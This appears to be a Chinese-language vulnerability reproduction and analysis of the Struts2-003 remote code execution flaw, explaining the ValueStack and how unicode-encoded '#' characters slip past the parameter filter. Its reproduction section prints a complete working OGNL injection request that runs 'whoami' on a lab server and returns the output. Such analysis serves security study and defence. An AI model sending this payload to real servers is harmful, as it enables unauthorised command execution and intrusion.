Struts2 003 漏洞复现&分析
0x01 漏洞背景
-
漏洞名称:Struts Remote Code Exploit
-
漏洞编号:Struts2-003
-
漏洞类型:Remote Code Execution
0x02 漏洞复现
payload:
GET /Struts_001_war_exploded/LoginAction.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'whoami\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) HTTP/1.1
Host: 10.100.19.108:8088
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=871CBC560866FFCA5B8105FF459A90AB; JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close
0x03 漏洞分析
开始之前先说一个前提知识
ValueStack, 即值栈对象。
用户每次访问struts的action,都会创建一个Action对象、值栈对象、ActionContext对象; 然后把Action对象放入值栈中; 最后再把值栈对象放入request中,传入jsp页面。
(key: struts.valueStack);
开发者只需要通过ActionContext对象就可以访问struts的其他的关键对象。 (ActionContext是给开发者用的,便于学习与使用。)
(来源于https://www.cnblogs.com/xtdxs/p/6527372.html)
而这个漏洞触发点主要在于对请求中的请求参数和值进行值栈存储操作时,过滤不充分(过滤#等字符),被直接通过unicode编码绕过。
分析开始先借一个struts的图说说
当用户发起请求后,struts2框架收到请求,请求参数存取会调用拦截器Interceptor进行拦截,主要其内在逻辑是通过迭代的方式将请求值取出来,并通过ognl的setValue对对象的值进行设置,这里的拦截器叫ParameterInterceptor,直接ParameterInterceptor.java下断点
跟进this.setParameters
跟进parameterNameAware.acceptableParameterName,这里对四个敏感字符做了过滤
进入存储
最终到达执行点
0x04 参考
https://developer.ibm.com/zh/articles/os-cn-ognl/